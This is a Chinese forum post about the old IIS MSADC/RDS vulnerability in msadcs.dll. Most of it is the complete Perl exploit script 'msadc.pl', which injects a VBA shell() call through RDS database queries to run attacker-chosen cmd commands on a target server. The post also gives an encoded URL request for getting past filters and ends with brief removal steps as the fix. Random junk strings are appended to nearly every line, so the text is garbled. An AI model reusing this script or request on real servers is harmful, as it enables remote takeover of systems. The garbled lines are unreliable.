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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) WPbWG$Li  
sA6Ku(9  
涉及程序: "n'LF?/H'  
Microsoft NT server -26GOS_8z  
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描述: >C|/%$kk:f  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C/nzlp~  
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详细: 6fxf|R\  
如果你没有时间读详细内容的话,就删除: ,]ALyWGuX  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?<@yo&)  
有关的安全问题就没有了。 `9%Q2Al  
q!l[^t|;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 oe1Dm   
adEcIvN$  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4BSSJ@z  
关于利用ODBC远程漏洞的描述,请参看: DkO>?n:-C  
F[ca4_lK  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 71GLqn?  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  imE5 $;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp z1oikg:?4  
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这里不再论述。 0q%=Vs~@g  
zw=as9z1-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ebF},Q(48  
=d_@k[8<0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset A]nDI:pO|  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! GvQ|+vC  
IyE9G:fY  
= Mc]FCV  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pf.T{/%  
@nN+F,phx  
#!perl l\8 l.xP  
# h[d|y_)f  
# MSADC/RDS 'usage' (aka exploit) script "yMr\jt~-  
# _tE$a3`  
# by rain.forest.puppy 7Kx3G{5ja  
# ,wmPK;j  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me &Vi"m!Bf  
# beta test and find errors! D]+tr%  
$jb3#Rj4  
use Socket; use Getopt::Std; ~Ra1Zc$o:  
getopts("e:vd:h:XR", \%args); O2{_:B>K[  
8xUmg&  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; fTM^:vkO  
$UlA_l29  
if (!defined $args{h} && !defined $args{R}) { Jrlc%,pZ  
print qq~ Py 8o8*H  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 1'EMYQ  
-h <host> = host you want to scan (ip or domain) 9s)YPlDz  
-d <seconds> = delay between calls, default 1 second 7I4G:-V:^  
-X = dump Index Server path table, if available /IVw}:G  
-v = verbose Yg%V  
-e = external dictionary file for step 5 n15c1=gs  
h B<.u  
Or a -R will resume a command session {rOz[E9vm  
Pp N+q:(  
~; exit;} VIbm%b$~  
hBLg;"=Em  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; kYs2AzS{d  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} T$%u=$E%F  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} t]FFGnBZ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); _*Vq1D]C  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} `(.ue8T  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } fE)+9!  
XuHJy  
if (!defined $args{R}){ $ret = &has_msadc; ' 7>}I{Lq  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ]@ETQ8QN  
n<yV]i$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" :KX/GN!n  
. "cmd /c "; D'O[0?N"g  
$in=<STDIN>; chomp $in; (B]Vw+/  
$command="cmd /c " . $in ; ycw'>W3.*  
. 36'=K  
if (defined $args{R}) {&load; exit;} ~2A<fL,-  
2~h)'n7Mw  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";  wSV[nK  
&try_btcustmr; n2 ,b~S\e  
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print "\nStep 2: Trying to make our own DSN..."; 3{CGYd]_u  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 40%p lNPj  
5 +(YcV("  
print "\nStep 3: Trying known DSNs..."; B5B'H3@  
&known_dsn; 9'//_ A,  
pS%,wjb&P  
print "\nStep 4: Trying known .mdbs..."; r(vk2Qy  
&known_mdb; @ n;WVG  
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if (defined $args{e}){ `j=CzZ*em?  
print "\nStep 5: Trying dictionary of DSN names..."; HdWghxz?)  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } L1)?5D  
'zT/ x`V  
print "Sorry Charley...maybe next time?\n"; y L&n)   
exit; "c\T  
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############################################################################## 9M01}  
BzWmV .5  
sub sendraw { # ripped and modded from whisker wm2Q(l*HH  
sleep($delay); # it's a DoS on the server! At least on mine... P!bm$h*3?  
my ($pstr)=@_; HTx7._b  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || DU1,i&(  
die("Socket problems\n"); AS;{O>}54  
if(connect(S,pack "SnA4x8",2,80,$target)){ I8^z\ef&  
select(S); $|=1;  2 H^9Qd  
print $pstr; my @in=<S>; :^iR&`2~  
select(STDOUT); close(S); m@HU;J\I  
return @in; 6oUT+^z#  
} else { die("Can't connect...\n"); }} A ;kAAM  
yxA0#6so  
############################################################################## p3x(:=   
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sub make_header { # make the HTTP request c1n? @L  
my $msadc=<<EOT RI*Q-n{  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 'inWV* P*g  
User-Agent: ACTIVEDATA 9pjk3a  
Host: $ip >656if O  
Content-Length: $clen $k!@e M/R  
Connection: Keep-Alive = )(;  
8:M~m]Z+|  
ADCClientVersion:01.06 tU)+q?Mw  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ied<1[~S  
jJ?3z ,h  
--!ADM!ROX!YOUR!WORLD! y5R6/*;N.  
Content-Type: application/x-varg e dD(s5  
Content-Length: $reqlen O>k.sO <  
+p43d:[  
EOT fwl RwH(  
; $msadc=~s/\n/\r\n/g; l{y~N  
return $msadc;} !Sw7!h.ut  
]q?<fEG2<  
############################################################################## }Rt<^oya*  
*YDx6\><  
sub make_req { # make the RDS request v.Q)Obyn  
my ($switch, $p1, $p2)=@_; MOOL=Um3  
my $req=""; my $t1, $t2, $query, $dsn; =n#xnZ3  
ke/o11LP  
if ($switch==1){ # this is the btcustmr.mdb query bo@1c0  
$query="Select * from Customers where City=" . make_shell(); I.( 9{  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ex29rL3  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} b9\=NdyCY  
6w@l#p  
elsif ($switch==2){ # this is general make table query xwz2N5  
$query="create table AZZ (B int, C varchar(10))"; 2KPXRK  
$dsn="$p1";} L:%h]-  
AalyEn&>  
elsif ($switch==3){ # this is general exploit table query zfxxPL'  
$query="select * from AZZ where C=" . make_shell(); G-;pMFP(?  
$dsn="$p1";} L;v#9^Fq  
:/1WJG:!  
elsif ($switch==4){ # attempt to hork file info from index server -aec1+o  
$query="select path from scope()"; ]p$fEW g  
$dsn="Provider=MSIDXS;";} \9 ^w M>U  
7, O_'T &  
elsif ($switch==5){ # bad query <K2 )v~  
$query="select"; ousoG$Pc  
$dsn="$p1";} 30B! hj$C  
L%=u&9DmU  
$t1= make_unicode($query); s3t{freM  
$t2= make_unicode($dsn); rVZk G,Q  
$req = "\x02\x00\x03\x00"; iXXgPapz  
$req.= "\x08\x00" . pack ("S1", length($t1)); .Z9Bbab:  
$req.= "\x00\x00" . $t1 ; Aw >DZ2  
$req.= "\x08\x00" . pack ("S1", length($t2)); [dUW3}APV  
$req.= "\x00\x00" . $t2 ; 38JvJR yK}  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; r_ Xk:  
return $req;} t&-7AjS5  
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############################################################################## ! 5]/2  
MF>?! !  
sub make_shell { # this makes the shell() statement hGzj}t W8d  
return "'|shell(\"$command\")|'";} 0naegy?,  
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############################################################################## C !uwD  
a N_M  
sub make_unicode { # quick little function to convert to unicode ,Y}HP3  
my ($in)=@_; my $out; .,feRK>3  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } &Tl3\T0D  
return $out;} ;B!&( 50e  
z+Y0Zh";/#  
############################################################################## +AXui|mn  
]BX|G`CCc  
sub rdo_success { # checks for RDO return success (this is kludge) 7TlOF  
my (@in) = @_; my $base=content_start(@in); j].XVn,  
if($in[$base]=~/multipart\/mixed/){ @#;~_?$?C  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} CSIW|R@   
return 0;} V\4'Hd  
T+Du/ERL  
############################################################################## yA =#Ji  
Ptn0;GC  
sub make_dsn { # this makes a DSN for us {ge^&l  
my @drives=("c","d","e","f");  w8$8P  
print "\nMaking DSN: "; @ 2Z{en?  
foreach $drive (@drives) { REc69Y.k  
print "$drive: "; mM!Gomp  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . r m\]  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +<&_1% 5+  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); oyK'h9Wt1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; z'j4^Xz?%$  
return 0 if $2 eq "404"; # not found/doesn't exist RMDzPda.  
if($2 eq "200") { UM3}7|  
foreach $line (@results) { lE'2\kxI?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ]]V|[g&aJ  
} return 0;} >-0Rq[)  
Z<@0~t_:?p  
############################################################################## \0). ODA(  
$mgW|TBXCQ  
sub verify_exists { YZMSiDv[e  
my ($page)=@_; Vo"Wr>F  
my @results=sendraw("GET $page HTTP/1.0\n\n"); P XKEqcQR  
return $results[0];} [+ K jun_  
]{s0/(EA  
############################################################################## =;ClOy9  
i}[cq_wJ  
sub try_btcustmr { ) [+82~F  
my @drives=("c","d","e","f"); ";yey]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); u0zF::  
C3)*Mn3%P  
foreach $dir (@dirs) { ~G,_4}#"pM  
print "$dir -> "; # fun status so you can see progress w;W# 'pE  
foreach $drive (@drives) { ]l>LU2 sx  
print "$drive: "; # ditto %PM&`c98z7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; {bHUZen  
$reqlenlen=length( "$reqlen" ); !K*(# [  
$clen= 206 + $reqlenlen + $reqlen; {7'Wi$^F  
x{4{.s%+:  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); WX6}@mS.  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} %;_94!(hC  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Xdh2  
^F,sV*  
############################################################################## 2. '` mGu  
0xVw{k}1U  
sub odbc_error { =HMa<"-8  
my (@in)=@_; my $base; x<5ARK6\=  
my $base = content_start(@in); %|j`z?i|  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this y^Uh<L0M  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Kv0V`}<Yc  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *IX<&u#  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v|\3FEu@  
return $in[$base+4].$in[$base+5].$in[$base+6];} aKjP{Z0k$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 5(>SFxz"t  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . )G#mC0?PV  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} /| q .q  
ysapvQN_6  
############################################################################## VWq]w5oQO  
' _d4[Olu  
sub verbose { 5EU~T.4C<  
my ($in)=@_; 7UIf   
return if !$verbose; {Y-~7@  
print STDOUT "\n$in\n";} `+z^#3l  
A]Bf&+V  
############################################################################## 5skxixG  
m ww<Xm'  
sub save { vAp<Muj(a  
my ($p1, $p2, $p3, $p4)=@_; m< H{@ZgN(  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; n,U?]mr  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ZDg(D"  
close OUT;} KpA1Ac)T  
?4A/?Z]ub  
############################################################################## &AN1xcx\  
B (Ps/  
sub load { cbN;Kv?ak}  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; m g,1*B'  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ,qx^D  
@p=<IN>; close(IN); T/a=z  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 4-~Z{#-  
$target= inet_aton($ip) || die("inet_aton problems"); o]E L=j  
print "Resuming to $ip ..."; vJLGy]  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; [Ur\^wS  
if($p[1]==1) { NMe{1RM  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; %x N${4)6  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ]} dQ~lOE  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k,[*h-{8  
if (rdo_success(@results)){print "Success!\n";} D"rbQXR7$  
else { print "failed\n"; verbose(odbc_error(@results));}} #MKM.T,\t  
elsif ($p[1]==3){ #=t/wAE y:  
if(run_query("$p[3]")){ Jy5sZ }t[  
print "Success!\n";} else { print "failed\n"; }} u<Y#J,p`e  
elsif ($p[1]==4){ _ Ao$)Gu)  
if(run_query($drvst . "$p[3]")){ "$XX4w M  
print "Success!\n"; } else { print "failed\n"; }} sxsb)a  
exit;} zw[' hqW  
yVII<ImqIH  
############################################################################## +? h}e  
];Z6=9n  
sub create_table { 'C/yQvJ  
my ($in)=@_; GL=}Vu`(*  
$reqlen=length( make_req(2,$in,"") ) - 28; /M_$4O;*@  
$reqlenlen=length( "$reqlen" ); oQ 2$z8  
$clen= 206 + $reqlenlen + $reqlen; )rq |t9kix  
my @results=sendraw(make_header() . make_req(2,$in,"")); >~SS^I0  
return 1 if rdo_success(@results); r/2= nE  
my $temp= odbc_error(@results); verbose($temp); ZUHRATT-  
return 1 if $temp=~/Table 'AZZ' already exists/; 7~SwNt,  
return 0;} `PC9t)%.pV  
F}5d>nw  
############################################################################## 6Q^~O*cw  
+{1.kb Zq  
sub known_dsn { gxN>q4z  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go lG}#K^q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", H/c (m|KK  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ]3rVULU"K-  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Iko]c_W0  
LWyr  
foreach $dSn (@dsns) { g w" \pD  
print "."; N-gYamlQ  
next if (!is_access("DSN=$dSn")); fbNzRXw  
if(create_table("DSN=$dSn")){ !R=@Nr>  
print "$dSn successful\n"; M2O_kO eZ  
if(run_query("DSN=$dSn")){ unLhI0XW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { TIWR[r1!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (k?H T'3)  
G3~`]qf  
############################################################################## d ~Z\%4  
b6bs .  
sub is_access { yOq@w!xz  
my ($in)=@_; ;f[lq^eV  
$reqlen=length( make_req(5,$in,"") ) - 28; E5w;75,  
$reqlenlen=length( "$reqlen" ); 9af.t  
$clen= 206 + $reqlenlen + $reqlen; <Dd>- K  
my @results=sendraw(make_header() . make_req(5,$in,"")); O`B,mgT(  
my $temp= odbc_error(@results); <h/%jM>9/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); {~3QBMx6  
return 0;} `7CK;NeT  
jN\u}!\O  
############################################################################## Cf 2@x  
i"WYcF |  
sub run_query { *'?7OL  
my ($in)=@_; +(W1x C0  
$reqlen=length( make_req(3,$in,"") ) - 28; FJ:^pROpm  
$reqlenlen=length( "$reqlen" ); ']r8q %  
$clen= 206 + $reqlenlen + $reqlen; pk :P;\  
my @results=sendraw(make_header() . make_req(3,$in,"")); WMSJU/-P  
return 1 if rdo_success(@results); JZ:@iI5>+  
my $temp= odbc_error(@results); verbose($temp); v1 .3gzR  
return 0;} CkT(\6B-  
DxJ;C09xNa  
############################################################################## ]:P7}Kpb  
Yc:%2KZ"  
sub known_mdb { (N7 uaZ?Z  
my @drives=("c","d","e","f","g"); V!W.P  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qCV<-o  
my $dir, $drive, $mdb; ,o& C"sb  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; S#7YJ7 K"N  
MUO<o  
# this is sparse, because I don't know of many ^"WV E["  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0!T`.UMI  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", YmziHns`b  
"\\system32\\certmdb.mdb", b:m+I  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [nTI\17iA  
GJ+^t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", P {TJ$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", cHs3:F~~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 8xAV[i  
"\\cfusion\\cfapps\\security\\realm_.mdb", Mo,&h?VOM?  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /yOx=V  
"\\cfusion\\database\\cfexamples.mdb", /wV|;D^ )  
"\\cfusion\\database\\cfsnippets.mdb", 3Q=^&o0fl  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Gv:~P_vBH[  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", t|aV:x  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #BC"bY  
"\\cfusion\\database\\smpolicy.mdb", 'nmA!s  
"\\cfusion\\database\cypress.mdb", |$RNY``J  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 2KlQ[z4Ir  
"\\website\\cgi-win\\dbsample.mdb", f"Zl JVa  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~}Xus?e  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A,}M ^$@  
); #these are just o ).deP s-  
foreach $drive (@drives) { B5b:znW2@  
foreach $dir (@dirs){ %6UF%dbYH`  
foreach $mdb (@sysmdbs) { '7Gv_G_  
print "."; h051Ol\v*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ I;(3)^QH#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; at: li  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3S^0%"fY  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; #z\ub5um  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ekM? ' 9ez  
wA) Hot  
foreach $drive (@drives) { BR,-:?z  
foreach $mdb (@mdbs) { Dw-d`8*  
print "."; 8v4}h9*F"7  
if(create_table($drv . $drive . $dir . $mdb)){ $l7^-SK`E  
print "\n" . $drive . $dir . $mdb . " successful\n"; bc)>h!'Y  
if(run_query($drv . $drive . $dir . $mdb)){ U7r8FLl  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; i5,iJe0cA  
} else { print "Something's borked. Use verbose next time\n"; }}}} iI3:<j l  
} *rxr:y#Ve  
Q;M\fBQO}&  
############################################################################## vQAFgG  
Ey6R/M)?:y  
sub hork_idx { !l:GrT8J  
print "\nAttempting to dump Index Server tables...\n"; 9d(\/ 7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =2Y;)wrF  
$reqlen=length( make_req(4,"","") ) - 28; Shn,JmR  
$reqlenlen=length( "$reqlen" ); qQ@| Cj  
$clen= 206 + $reqlenlen + $reqlen; WK ~H]w  
my @results=sendraw2(make_header() . make_req(4,"","")); hW^,' m  
if (rdo_success(@results)){ x 7j#@C  
my $max=@results; my $c; my %d; %)ho<z:7U  
for($c=19; $c<$max; $c++){ hHs/Qtq  
$results[$c]=~s/\x00//g; #6`5-5Ks;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ndmt$(b  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Fn4v/)*H  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 04a ^jjc  
$d{"$1$2"}="";} aSL`yuXu  
foreach $c (keys %d){ print "$c\n"; } 1+l8%G=hB  
} else {print "Index server doesn't seem to be installed.\n"; }} rIyH/=;  
;b~ S/   
############################################################################## PwY/VGT  
tFN >]`Z  
sub dsn_dict { dzVi ~wt_&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); U|^xr~q!f-  
while(<IN>){ $=aO*i  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @6u/)>rI  
next if (!is_access("DSN=$dSn")); 5&]5*;BvJ  
if(create_table("DSN=$dSn")){ mH*ldf;J;=  
print "$dSn successful\n"; %,>z`D,Hg  
if(run_query("DSN=$dSn")){ h ><Sp*z_V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { E$8JrL  
print "Something's borked. Use verbose next time\n";}}} mx c)Wm<4  
print "\n"; close(IN);} IwYeKN6s  
3jmo[<p*x  
############################################################################## tvkdNMyX%9  
&|v)   
sub sendraw2 { # ripped and modded from whisker p/H.bG!z  
sleep($delay); # it's a DoS on the server! At least on mine... <p@Cx  
my ($pstr)=@_; @d75X YKu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |tXA$}"L8  
die("Socket problems\n"); 4l D$'`  
if(connect(S,pack "SnA4x8",2,80,$target)){  q+P@2FL  
print "Connected. Getting data"; .)Tj}Im2p  
open(OUT,">raw.out"); my @in; q"2QNF'  
select(S); $|=1; print $pstr; v.0qE}' |  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} j=\h|^gA  
close(OUT); select(STDOUT); close(S); return @in; B(Sy.n  
} else { die("Can't connect...\n"); }} '&>"`q  
, X5.|9  
############################################################################## 1.hWgWDP  
aSR-.r  
sub content_start { # this will take in the server headers `~1!nfFD  
my (@in)=@_; my $c; yR}. Xq/  
for ($c=1;$c<500;$c++) { _e%D/}  
if($in[$c] =~/^\x0d\x0a/){ w.qtSW6M+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } BN/ 4O?jD9  
else { return $c+1; }}} C]^Ep  
return -1;} # it should never get here actually i'~-\F!  
3%WB?k c  
############################################################################## ]5%0EE64  
sdp&D@  
sub funky { 2e48L677-  
my (@in)=@_; my $error=odbc_error(@in); d;i|s[6ds`  
if($error=~/ADO could not find the specified provider/){ Sp `l>BL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; FO{=^I5YA  
exit;} 1 ZdB6U0  
if($error=~/A Handler is required/){ %6K7uvTq  
print "\nServer has custom handler filters (they most likely are patched)\n"; t)SZ2G1r  
exit;} l#)X/(?;  
if($error=~/specified Handler has denied Access/){ `oRyw6Sko  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3?OQ-7,  
exit;}} sXLW';Fz  
>.:+|Br`  
############################################################################## n@p]v*  
}{0}$#z u  
sub has_msadc { F72#vS j  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); d^=BXC oC  
my $base=content_start(@results); >w,L=z=  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); >XN[KPTa  
return 0;} 7iB!Uuc  
oO}g~<fYG  
######################## [4KQcmJc#  
u@a){ A(P  
{v={q1  
解决方案: _H]\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @T1G#[C~t  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @2(u=E:^  
RB>=#03  
拿出来充数 哈哈
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